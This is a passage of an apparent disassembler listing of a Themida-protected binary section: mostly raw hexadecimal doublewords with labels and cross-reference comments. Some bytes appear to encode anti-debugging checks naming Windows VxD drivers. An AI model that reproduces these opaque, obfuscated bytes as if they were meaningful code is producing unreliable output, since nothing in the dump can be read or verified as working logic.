		dd 6AAA06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 672E19C3h, 4FC60B68h, 29BDF6AAh, 719C5BDh
		dd 13E906h, 0D2440000h,	2CE3EA4Dh, 460BE84Eh, 9FAB5598h
		dd 739390B8h, 7B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0FA0228C3h, 31EA0B4Ch
		dd 0C7BFDB2Fh, 71DC585h, 106h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0CA30B62Ch
		dd 62786264h, 8D8DC984h, 6074B9Bh, 30698589h, 0E1FF0607h
		dd 0DE9h, 725CFD00h, 0D6F8C4BAh, 0E33DB2C0h
		db 69h,	63h
word_574BFE	dw 5C8Bh		; DATA XREF: Themida_:0053CD58o
					; Themida_:0053D5BCo ...
		dd 0E8550C24h, 0
		dd 49ED815Dh, 8B060A84h, 0B883h, 9858900h, 8D060A6Ch, 0A826A85h
		dd 0B8838906h, 5D000000h, 89C3C033h, 71AD18Dh, 860FF906h
		dd 9, 0BBDA8A60h, 152B6666h, 6A6061h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F962BDC3h
		dd 8679858Dh, 0B589060Ah, 6072FF9h, 10E990h, 0DB2A0000h
		dd 1176C428h, 0CD433B4Eh, 640AD6E2h, 5050E0A2h,	52506052h
		dd 585A310Fh, 0AF060BB9h, 310F612Fh, 12E860h, 0BFFD0000h
		dd 8AEC0D4Fh, 0C500B961h, 8426E09Eh, 0D0F20DCDh, 890F5Ah
		dd 61000000h, 0E990585Ah, 0Bh, 89588B3Bh, 0F544374Fh, 6417197Ch
		dd 35FFh, 95890000h, 607222Dh, 258964h,	31000000h, 704A985h
		dd 7FBB6006h, 295FB5C1h, 708619Dh, 858D6106h, 60A86EEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FC35242h
		dd 0C8C0Fh, 7E90000h, 7D000000h, 8B1EBCDCh, 8B60023Dh
		dd 119589C6h, 6106070Ch, 6A016089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 84E8C351h
		dd 66279B9Fh, 0AE9h, 0BCF94A00h, 0D28985h, 0C6724824h
		dd 709CD85h, 6A4F06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 5900FDC3h, 0FE899934h, 356868FCh
		dd 0B760DA7Ah, 61F3B309h, 42243481h, 0E924B241h, 0Ch, 59949C46h
		dd 0E10A15D0h, 561CA90Bh, 0D99B5FFh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 91AE9AC3h
		dd 0BE6660C0h, 0E96161E0h, 0Dh,	3CA96B66h, 0ABECBCEAh
		dd 0C3848C14h, 38858D15h, 0E9060A70h, 0Ah, 567D1CBEh, 0B11ADB6Ch
		dd 0D0FFCA28h, 0A7E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 686C9DC3h, 0B75CB0D6h
		dd 95892C98h, 60707ADh,	0B98D8B60h, 61060720h
dword_574E38	dd 0C245C8Bh, 0E855h, 815D0000h, 0A8683EDh, 9D858B06h
					; DATA XREF: Themida_:0053CC68o
		dd 89060705h, 70D9985h,	85858B06h, 89060710h, 710F585h
		dd 0E5858B06h, 89060729h, 7068D85h, 0CD85C606h,	60709h
		dd 719585C7h, 60Ah, 858D0000h, 60A86EEh, 0B88389h, 335D0000h
		dd 0E9F8C3C0h, 0Fh, 8F5453AAh, 0E8CFD6E1h, 0DA6D8E72h
		dd 0F9EDEE59h, 0B509FC60h, 60712C5h, 0FF74BC61h, 6A0012h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0F9C308C3h, 8F64FCF5h, 5, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8D9D89E1h
		dd 8906070Eh, 707CD85h,	4C48306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 28C35646h, 603C2E0Ch, 0CE960h
		dd 43F80000h, 98C174B8h, 92FA3006h, 0BE61CA8Ch,	55281E4Bh
		dd 34EB6161h, 4D534649h, 20205247h, 20444B56h, 20202020h
		dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
		dd 20205244h, 3	dup(0)
		dd 847E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 5055478Ch, 0FF7E2FAEh, 6060D73Eh
		dd 6D35F781h, 0BB66590Eh, 0C76156A8h, 0A87A985h, 6, 9E900h
		dd 0B25D0000h, 0F42F84F8h, 8B75BBC9h, 0DE9C6h, 0C7320000h
		dd 345203D9h, 0AD830398h, 0F78BB96h, 13E9D8B7h,	2000000h
		dd 48334170h, 0C358753Bh, 0CF70F089h, 5B9550E2h, 14E9A2DCh
		dd 98000000h, 2BDD4CD4h, 0E749DB91h, 9260734Ah,	52DE4ECAh
		dd 0C1AB2681h, 870F10E8h, 13h, 0D890Fh,	8E90000h, 0DF000000h
		dd 806051E9h, 660460F5h, 0E908C8C1h, 8,	7B562233h, 69FB7E13h
		dd 10E9F860h, 19000000h, 676C82A4h, 2EF93C46h, 0E8BA0E07h
		dd 613EB4B7h, 87AD8589h, 8B0F060Ah, 1, 0CBC166F5h, 52006A08h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0FB8316A3h, 69850F40h, 0E9000000h, 13h, 8ADAA4B1h, 2A7E60EFh
		dd 8CE5F80h, 8332ECD5h,	603EAC12h, 0BD8D61F8h, 60A8781h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 5AC35242h
		dd 98A0F32h, 60000000h,	8C0FF8h, 61000000h, 219E9h, 0E960F900h
		dd 7, 81624F0Eh, 0FF62FD6h, 28Dh, 61595300h, 0F0DFB83h
		dd 8185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 3779A661h, 0BEFE2EBEh, 0C8D0Fh, 7E90000h
		dd 0EF000000h, 0DA3B5748h, 6E985E7h, 9A000000h,	0CC82443Eh
		dd 89BD8DFDh, 60060A87h, 1A2118B9h, 5851602Fh, 61616160h
		dd 14850Fh, 0FE90000h, 3D000000h, 0DF45450Bh, 54CDD5CBh
		dd 7899A551h, 87E90463h, 0E9000001h, 0Ah, 2A595E95h, 0E59ACE81h
		dd 0FB8371BCh, 0B3850F01h, 6A000000h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F205C355h
		dd 0D1CEC658h, 91BD8D89h, 6A060A87h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 17A3C350h
		dd 60B9B204h, 0C8B960FCh, 807FA62Bh, 616153F6h,	16850Fh
		dd 11E90000h, 9000000h,	0EAD2BE9h, 362576E0h, 0F9E59928h
		dd 0B34E19E5h, 1800Fh, 0E9FC0000h, 0F2h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0DC35747h, 6C16F223h
		dd 11E9h, 180E1500h, 9B4E315Bh,	58ACF4A4h, 0CD0A29F0h
		dd 0FB836CC3h, 76850F2Ah, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2499C353h
		dd 5B73FD3h, 8DF8ECE1h,	0A8799BDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D4675A68h
		dd 0F8CD25Dh, 784h, 18A0F00h, 0F5000000h, 55E9h, 0D38B6000h
		dd 0FE9h, 9A910800h, 48E4C6DEh,	0B2B5B2h, 21190EC4h, 27FB8361h
		dd 378850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1D376EC3h, 657AD2Ah, 0BD8DF905h
		dd 60A87A1h, 55B860F8h,	0B663C654h, 0BD896178h,	60A87B1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 44C35646h
		dd 681324Ah, 0E5482D9Fh, 8C66F8F9h, 57006AC8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 6A0324D7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 66EDC353h, 0D5898E96h, 850FC00Ah,	225h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 1800Fh
		dd 8DF90000h, 0A8EE8B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B473FA3h, 0A8F8785h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 7E1DE3D1h, 8B6660DDh, 0E95061D9h, 0Fh, 81665E58h
		dd 0D1809CF2h, 0E34C526Bh, 8935616Eh, 6E92414h,	0A0000000h
		dd 0C840AEDBh, 4C010FF1h, 5AFCFE24h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0A5C35343h,	1B051D9h, 0EF721BCAh
		dd 0C283F598h, 52006A24h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 4DA4D2A5h, 0B929317Ch
		dd 72896678h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0F371EE55h, 0CA816660h, 0AE8B817h
		dd 0C2000000h, 0DC4FA80Ah, 7D3D5CD6h, 59E58ACDh, 10CEC161h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h
		dd 0F66AD793h, 7D9EB87Dh, 0E95160D0h, 0Ch, 0DA602B86h
		dd 786A591Eh, 526206DAh, 61AFB35Bh, 2728966h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h, 4D6C90CBh
		dd 0BE9h, 229C3400h, 93060D19h,	0AFD03369h, 83C78060h
		dd 12E9h, 480D7300h, 1E3F2445h,	64B19E24h, 937735C3h, 61E0E008h
		dd 6A04CDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 3AB423C3h, 0E97DFCF8h, 5,	0A2061A7Eh, 9E9607Ah
		dd 60000000h, 2AE0F27Dh, 20E04872h, 0BE9h, 0D94AD500h
		dd 4FFCA228h, 0CA5BFB00h, 0A4E961h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0D258EEC3h
		dd 87858BF9h, 60060A8Fh, 0C164B966h, 5E9h, 0F2DA7C00h
		dd 8D612B47h, 0A8EE8B5h, 17820F06h, 0F000000h, 118Bh, 0CE900h
		dd 0D4AE0000h, 0ECE8D98Ah, 445B9DD7h, 858D1A49h, 60A4817h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h
		dd 0A2770E3Ah, 8F0F3EC1h, 0Bh, 0C8F28160h, 6624A22Ah, 0FF61C78Bh
		dd 0CE9D0h, 463D0000h, 0DEA1AEEAh, 2A0EF7C3h, 8589B970h
		dd 60A87A9h, 6E960h, 63450000h,	76A2AAC3h, 0CE9h, 0DE5B500h
		dd 0FB29B31Ah, 9D2C6832h, 606161D2h, 0FF1D281h,	0E7817849h
		dd 3F09136Ch, 0A9858B61h, 6A060A87h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1CEFC357h
		dd 0E9F0DEBCh, 6, 8D91A5D9h, 6AC3813Fh,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 16C2C357h
		dd 22D0307Ch, 800FAE05h, 7, 18B0Fh, 60FC0000h, 88A0Fh
		dd 8C0F0000h, 2, 0BD836160h, 60A8F87h, 4A850F00h, 0F9000000h
		dd 8F8785C7h, 13F060Ah,	6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E9BD7DC3h, 7, 0D5B56731h
		dd 0E993A797h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h
		dd 8E53C4F3h, 32E99Ch, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0E10109C3h, 0B43F5A50h
		dd 5E57F960h, 60606061h, 61CA8A61h, 61F78B66h, 20CDh, 0C00B0000h
		dd 708D3774h, 0B1BD8B0Ch, 0B9060A87h, 8, 492275A6h, 488BFA75h
		dd 0AD9D8B30h, 3B060A87h, 157F3458h, 0D26BD38Bh
dword_575774	dd 8BCA0304h, 0A9858901h, 0EB060A87h, 0EB008B04h, 858B61C5h
		dd 60A87A9h, 0AE9CFh, 974E0000h, 0CE10A656h, 5302C33Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 55C35242h
		dd 9CE8E95h, 3D35C1DBh,	0BE8C08Bh, 18000000h, 959BE513h
		dd 8B892C74h, 0BE91466h, 63000000h, 1AAD7FDAh, 8885D5D3h
		dd 0B958A2E5h, 4AEEE4C7h, 6D9AC081h, 0BE0000h, 8B000000h
		dd 634FFCEh, 5AFBB70Fh,	8D4AEA81h, 816676CAh, 8143EDEFh
		dd 9D5F88F2h, 1820F38h,	0F5000000h, 9140C281h, 0DF804327h
		dd 0F60525Ch, 61F8FABFh, 0F30048Fh, 688h, 0AED18100h, 0F29A889h
		dd 286h, 83FB8B00h, 4EF902EEh, 0FBBF0F4Eh, 9320FE81h, 850FFFFFh
		dd 18h,	0E9CA8B66h, 2Dh, 794AF562h, 62E16383h, 0A01D4593h
		dd 0FAC0CE87h, 397C8EBBh, 0FF83E974h, 0F7B9FFFFh, 0C8A42F34h
		dd 27A4DC05h, 0C2318729h, 0C4EC879Eh, 0CE8BAh, 0F0D10000h
		dd 97408328h, 0B7215B68h, 8E804C7h, 5C000000h, 7A1B5288h
		dd 5E12889Ch, 9DC18159h, 0F500005Ch, 16E868h, 13E900h
		dd 0AC9D0000h, 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h
		dd 0E960583Dh, 7, 0AF39C932h, 0E8AB0340h, 10h, 786E8808h
		dd 4149BD9Eh, 5BDB5BCAh, 26BE1EAh, 2B19D7BFh, 0FF615E77h
		dd 5E96031h, 45000000h,	2575E63Ch, 5A61C78Bh, 81DE8B66h
		dd 31B04FF2h, 5FCB8164h, 817253BFh, 970B6EAh, 0F281F84Fh
		dd 53C23AA1h, 8FFA8B52h, 3820F01h, 80000000h, 0E98336F3h
		dd 49F38B02h, 0CE96049h, 0CD000000h, 4C57C3FEh,	0DC8AE976h
		dd 60FD6DC3h, 8A41DA80h, 816161D9h, 1E8h, 0A850F00h, 0E9000000h
		dd 2Bh,	95387CDEh, 12E973h, 120D0000h, 69DB7146h, 0CCDC2D2Bh
		dd 23B35497h, 4349AFF8h, 0FFFF72E9h, 42C614FFh,	49BEEDFh
		dd 0E9E067F6h, 148h, 50h, 54h, 58h, 5Ch, 60h, 64h, 68h
		dd 6Ch,	0B0h, 0B4h, 0B8h, 0BCh,	0C0h, 0C4h, 0C8h, 0CCh
		dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_575774+27Ch
		dd 9F50EBh, 91D1858Dh, 0F60060Ah, 0A81h, 5E900h, 0E3410000h
		dd 8B65698Dh, 71F599Dh,	85896106h, 60A9311h, 1A4D8589h
		dd 85C60607h, 60709CDh,	0BE954h, 0B6240000h, 0F89CCA58h
		dd 8BB4727Eh, 4E8E3h, 68290000h, 0F50EE62h, 38Eh, 0FB8B6600h
		dd 0C88B505Ah, 424448Bh, 20B3B0B9h, 0BA008B75h,	43E3D18Bh
		dd 4244489h, 0AE953h, 0BAC90000h, 0A3DD5469h, 0AD353130h
		dd 8D89585Eh, 6071F75h,	0D99B5FFh, 55B60607h, 7038858Dh
		dd 0BF0F060Ah, 80D0FFD2h, 8589BFF1h, 60A9315h, 7E8h, 8AAA100h
		dd 5CD4E811h, 1F698501h, 0E9590607h, 42h, 1BCE80F9h
dword_575B94	dd 11B58B56h, 89060A93h, 11858306h, 4060A93h ; DATA XREF: Themida_:0053D33Co
					; Themida_:0053EB40o ...
		db 5Eh,	0C3h
word_575BA6	dw 8D60h		; DATA XREF: Themida_:0053F2C4o
		dd 0A91D1B5h, 560FEB06h, 36FF006Ah, 931595FFh, 835E060Ah
		dd 3E8304C6h, 61EC7500h, 0BDB58BC3h, 66060707h,	0F8BD5BAh
		dd 858DD3BFh, 60A93E7h,	858BF560h, 6070535h, 5858961h
		dd 0E906072Bh, 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh
		dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh,	20602060h
		dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h,	9DB7EDA6h
		dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h,	33537520h
		dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h,	0F360D650h
		dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh
		dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h,	5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	0F73D577Dh
		dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h,	7D2F6D37h
		dd 0E0A1E35h, 66C1A800h, 0F2FD54A7h, 29BB7643h,	0BD3E913h
		dd 81680000h, 0E9060A97h, 0FFFCE863h, 0A983968h, 0E859E906h
		dd 0E468FFFCh, 0E9060A98h, 0FFFCE84Fh, 0A99CD68h, 0E845E906h
		dd 5668FFFCh, 0E9060A9Ah, 0FFFCE83Bh, 0A9AE968h, 0E831E906h
		dd 2468FFFCh, 0E9060A9Ch, 0FFFCE827h, 0A9D3A68h, 0E81DE906h
		dd 168FFFCh, 0E9060A9Eh, 0FFFCE813h, 0A9ED168h,	0E809E906h
		dd 8068FFFCh, 0E9060A9Fh, 0FFFCE7FFh, 4ADF76A7h, 43D877A3h
		dd 3ED36E9Ch, 38CD6897h, 2EC35E91h, 8DC07B93h, 8BB85FF4h
		dd 84B65DF2h, 85B55CF1h, 22905DF2h, 995DC334h, 25F70E43h
		dd 0A246A225h, 8E4DA212h, 0D473A3A4h, 0DC79A62Dh, 0EA7BAE35h
		dd 0F48DBC43h, 60D1BF4Dh, 0AB49A33Bh, 1B2560D8h, 72BC4F1Bh
		dd 0D7443ABDh, 34629A4h, 0F68F36D1h, 3A6A6B55h,	0B53D069Bh
		dd 0CF3927BDh, 0A47A233h, 0D9099037h, 0D202A93Eh, 0D87F1245h
		dd 0E47DB03Fh, 0FFDAD43h, 439C339Eh, 132C16E9h,	9C33D947h
		dd 0EC3AF343h, 0ADAB1242h, 0DBE29910h, 6F16AB4Ch, 7A01A83Fh
		dd 9215AB4Ah, 94CE12AAh, 0F912FCADh, 97818F48h,	13B2E267h
		dd 9D32D36Ch, 0E0513FEFh, 2B439C4Bh, 0C0156E58h, 1A1FB666h
		dd 4C0h, 2CA2257Eh, 0F6BD2C94h,	0CAFAFBE5h, 0F7E5952Bh
		dd 49A38386h, 0FB14FED1h, 1CB14474h, 3DD3CB53h,	0A299A54Fh
		dd 0E68D6047h, 9C69AD1Ah, 29F7DA43h, 0B6452EA7h, 2915981Fh
		dd 0BD2E1C98h, 8439CE2h, 0D3AFCC35h, 33392D17h,	9D000000h
		dd 6E9C820Ah, 0AE9C32D3h, 47A3012Ch, 6BEE8457h,	5B94CC32h
		dd 0D0E9D31Eh, 0CB669942h, 5BA18B24h, 439C9AEEh, 0E8EE381Bh
		dd 1FB616EDh, 0EEEFh, 0FC2C5300h, 83BC269h, 8F38C66Dh
		dd 12ADDB5Ch, 56868771h, 78A18BFh, 52130333h, 0D1D2BC6Eh
		dd 50E918A1h, 447019AFh, 7F6902A9h, 0D8CE8C78h,	427249A3h
		dd 38640DA3h, 735DF69Dh, 0E515BE6Ch, 2812AB52h,	0CA60F727h
		dd 0D8BB2C1Ah, 330649A3h, 37DE77A4h, 0D9BB49Eh,	0D7FE6F5Dh
		dd 764949A3h, 0E466820Dh, 12FC6694h, 528167EFh,	928016B7h
		dd 47A22B58h, 860D3CE5h, 811AC154h, 3BFCF6E0h, 0B4E1700Fh
		dd 1AE37819h, 0E97CAC92h, 17C4B248h, 0E241945Dh, 0B354EF21h
		dd 0B041741Dh, 0B041741Bh, 7DE5C0DAh, 42C3F2F0h, 8E2h
		dd 46DB7AABh, 3FD4739Fh, 3ACF6A98h, 34C96493h, 32C75A8Dh
		dd 91C47F97h, 97C46B00h, 90C269FEh, 89B960F5h, 1E8C59EEh
		dd 995BBF30h, 21F30A43h, 4E7AF92Ch, 0CE6F08AFh,	0CA5D8F38h
		dd 232D9E0h, 0A5CCE63h,	6F48A82h, 47A30184h, 6935DCAFh
		dd 439CE0FCh, 0F6F84629h, 1FB5D0DFh, 97FDh, 91A22500h
		dd 8EE9B5ADh, 2C5B2711h, 3BC269FCh, 38C66D08h, 0A8D6638Fh
		dd 3C826C0Dh, 49A3EF7Eh, 0BE53F222h, 0A950E717h, 0EA807800h
		dd 0A2FFC2FCh, 6A9C5D47h, 0F69730D7h, 18109861h, 348C9482h
		dd 0F0C34195h, 0E37EB15Ah, 0E174A74Eh, 7C8D8F0Bh, 43C4F3F0h
		dd 82Ah, 8E23C2F3h, 871CBBE7h, 8217B2E0h, 7C11ACDBh, 7A0FA2D5h
		dd 0D90CC7DFh, 0DF0CB348h, 0D80AB146h, 0D101A83Dh, 66D4A136h
		dd 995A0778h, 693B5243h, 0D368F92Ch, 4AA1FC2Ch,	701C0C75h
		dd 5CCE6304h, 0E90DA225h, 0E7E4A739h, 44CCFCFDh, 0A358E556h
		dd 60FB2949h, 0C59820B9h, 0C6F67D24h, 0FF059A2Fh, 43D9D159h
		dd 0A25FAB55h, 0C936647h, 0D47B7D00h, 0B038BB8h, 0DDB18775h
		dd 0F9CC42D2h, 2921A952h, 1BBAEA93h, 0C63B2931h, 0E13CC6FDh
		dd 0DAC8780Eh, 38C25D69h, 0EFF7E1B4h, 0EA7F1646h, 9E741343h
		dd 0EC8DD678h, 7F1293C2h, 48000007h, 42E97E17h,	3BE27716h
		dd 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh, 912C5900h
		dd 902355FCh, 912454FBh, 0D3C12FFCh, 43995A62h,	2CC496ADh
		dd 34C269FCh, 7BC21BB1h, 0DEC88A86h, 0A53B33BBh, 0A20AE9B7h
		dd 4CE1B447h, 8F00EE9Eh, 0CC439BEAh, 9BEA6DDEh,	5DE5B843h
		dd 0EA36A795h, 0AE81439Bh, 7800230Dh, 8A3AEA80h, 9BEA2B9Ch
		dd 0B9A37643h, 95750473h, 0E2784B41h, 0D96E0939h, 0BC630232h
		dd 73A58B13h, 0F9A93FE0h, 54EA5B49h, 62353D91h,	556DDECCh
		dd 0E5B83D91h, 0E12BB5FBh, 93663B8Ah, 962654FDh, 86C137A8h
		dd 0EAF8237h, 0DCE4CE67h, 0CE640333h, 0B55CF725h, 2798861Ch
		dd 723786C1h, 7AEB59Fh,	1AA40D7h, 7D184BD4h, 0B29C35DCh
		dd 7068F099h, 0C03EECDAh, 36093585h, 48702C60h,	0EE6F9EE4h
		dd 696h, 2972E5Fh, 0FB902F5Bh, 0F68B2654h, 0F085204Fh
		dd 0E67B1649h, 4578334Bh, 437017ACh, 3C6E15AAh,	3D6D14A9h
		dd 0DA4815AAh, 99597BECh, 0DDAFC643h, 16877525h, 6149A3F2h
		dd 0F981A48Eh, 0CF19A39h, 2A3467Bh, 0E613BC6Ch,	0ED8E2959h
		dd 7DC3AD46h, 479D41FBh, 14BD5326h, 11AA51E4h, 5C7AECA8h
		dd 76601238h, 0E715BE6Eh, 3161624Ch, 2A5A0196h,	0B33BE48Bh
		dd 693725BBh, 34419893h, 3C298B61h, 3A69F07Dh, 60DB9h
		dd 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh
		dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h
		dd 57F0614Fh, 243B4399h, 8A820A52h, 7D9706F4h, 0BDE479Dh
		dd 99CCC75h, 0A9DCD74h,	19CCB74h, 0BED7C15Ah, 0FF958D15h
		dd 92E98711h, 59EFC241h, 0CBF780B0h, 0FA9D5A64h, 1CBDE491h
		dd 0A53BDC75h, 949607F5h, 0EE13D8Eh, 46761D24h,	0D75F08AFh
		dd 74A049DFh, 0AF9932D9h, 930BB9A7h, 3D63B8Dh, 7023C52Dh
		dd 4DCEFDEEh, 57Ah, 0DE731243h,	0D76C0B37h, 0D2670230h
		dd 0CC61FC2Bh, 0CA5FF225h, 295C172Fh, 2F5C0398h, 285A0196h
		dd 2151F88Dh, 0B624F186h, 995857C8h, 0B98BA243h, 0D369FC2Ch
		dd 0B960FD2Ah, 0F2CC3D2Bh, 441749A3h, 12A0B9A3h, 0ECFB8A8Fh
		dd 70A031E6h, 494A34D5h, 20E97E19h, 1C0AA098h, 47A2C572h
		dd 25B35A2Dh, 65D2E1A2h, 2D17C77Fh, 9CD27AE7h, 7AC4A743h
		dd 0B5DC6174h, 507B1Fh,	25DF0000h, 0CBB5507Ch, 922820A8h
		dd 0A30122A4h, 0E6B24D47h, 378E52EAh, 0D7E6C02h, 58439CC6h
		dd 0A54EE485h, 5947DD78h, 439CC5E8h, 5D766033h,	0C0311FCFh
		dd 4439CC5h, 0FD963DD8h, 72B8A275h, 439CC505h, 0FFC14F32h
		dd 1FB5ECD6h, 0AB04h, 0FC2C6800h, 83BC269h, 0F3FC66Dh
		dd 21C25B8Ah, 24C3F37Ah, 0C38E18Fh, 83418771h, 2049A3EFh
		dd 0C6B04777h, 6D0295C5h, 58FF96C6h, 992F27AFh,	781140E9h
		dd 0CF5A488Eh
		dd 0E4A547A2h, 0E57A1BB6h, 69C941Ch, 95218818h,	0EB18C141h
		dd 2812AB52h, 1CC55B2Eh, 19C258E9h, 0CEBC52EDh,	3D93115Dh
		dd 0E4EBD5A8h, 0A1770A3Dh, 0F07CA243h, 3FC74877h, 8000004h
		dd 2A93ED7h, 0FBA237D6h, 0F69D32CDh, 0F2992EC7h, 0F69126BFh
		dd 55F023DEh, 51EC19C0h, 50E315BCh, 51E414BBh, 9381EFBCh
		dd 43995622h, 2C84566Dh, 2CD368F9h, 62D469FCh, 0B5507C25h
		dd 688B750Eh, 6452E8E0h, 47A300E2h, 0C7933A0Dh,	439CE05Ah
		dd 0A59AA487h, 9037CAFCh, 0C7F68EF7h, 8516095Ah, 2F93429Bh
		dd 0E6491FB6h, 71000000h, 12FC95C8h, 7BFC2C46h,	770DAE49h
		dd 1F099CCEh, 0F14C7F06h, 92AFDDC7h, 6157F4F1h,	0E33096FFh
		dd 12A047E8h, 0B04CCE8Fh, 0C157B127h, 0A33062D3h, 0F0DAAD49h
		dd 0A32CECAAh, 0C5609049h, 0F6598930h, 0F57ACF7h, 0A198BF26h
		dd 27C55DC6h, 7705AC4Dh, 7605A0CEh, 6E07AE47h, 0E1D96184h
		dd 756F5D4Bh, 0E7BA47A2h, 0CEFBA452h, 0CFA882Fh, 439C659Bh
		dd 887213E6h, 2F0DD65h,	439C6591h, 0D26809DCh, 0EE0A884Fh
		dd 1903425Bh, 1E7E2311h, 66394195h, 61F427D0h, 93C66F77h
		dd 93C66D02h, 0A0282C02h, 0BBEAF07Ch, 3293Ah, 24C1F200h
		dd 21BCE88Fh, 1CB7E58Ch, 18B1E087h, 18A9DC83h, 15D0E883h
		dd 13BA4FE2h, 0BB247E6h, 2A93ED9h, 0D19E33D2h, 55047563h
		dd 384F4399h, 68F92C66h, 7BFC2CD3h, 7C11B24Dh, 507C250Ah
		dd 0BAD0EB5h, 33446B4Eh, 679A29CAh, 0A48E27CEh,	0E50C73A3h
		dd 9149856Ch, 0B455F023h, 0B5E56C13h, 0CC6D0834h, 0C75A8D36h
		dd 969D8720h, 0D94A38E8h, 2449A330h, 0F392C251h, 66E81A09h
		dd 0A050E6DEh, 852CCBF7h, 12BC02ECh, 0CD47A237h, 8CBB64FAh
		dd 9435D003h, 716A54EDh, 0C94F6065h, 0F2EA72DFh, 0BEAC6E5Ch
		dd 84579D65h, 0B4AC34DDh, 0CEBB301Eh, 3D69759h,	194C46Dh
		dd 295C56Ch, 2280222Ch,	60E1104Ah, 262h, 0C65BFA2Bh, 0BF54F31Fh
		dd 0BA4FEA18h, 0B449E413h, 0B247DA0Dh, 1144FF17h, 1744EB80h
		dd 1042E97Eh, 939E075h,	9E0CD96Eh, 99543FB0h, 0A1738A43h
		dd 0D369FC2Ch, 755FFE2Ah, 452BB35Ch, 49DF8013h,	0A2EC6D5Bh
		dd 0CFAAA47h, 439CEC9Bh, 6C13B2DFh, 8E784BD3h, 427AF994h
		dd 16416EECh, 8232E075h, 9C372394h, 1726043h, 4C439C37h
		dd 341EF179h, 7F28B345h, 0A7CAB453h, 0A391271Fh, 419B3DF9h
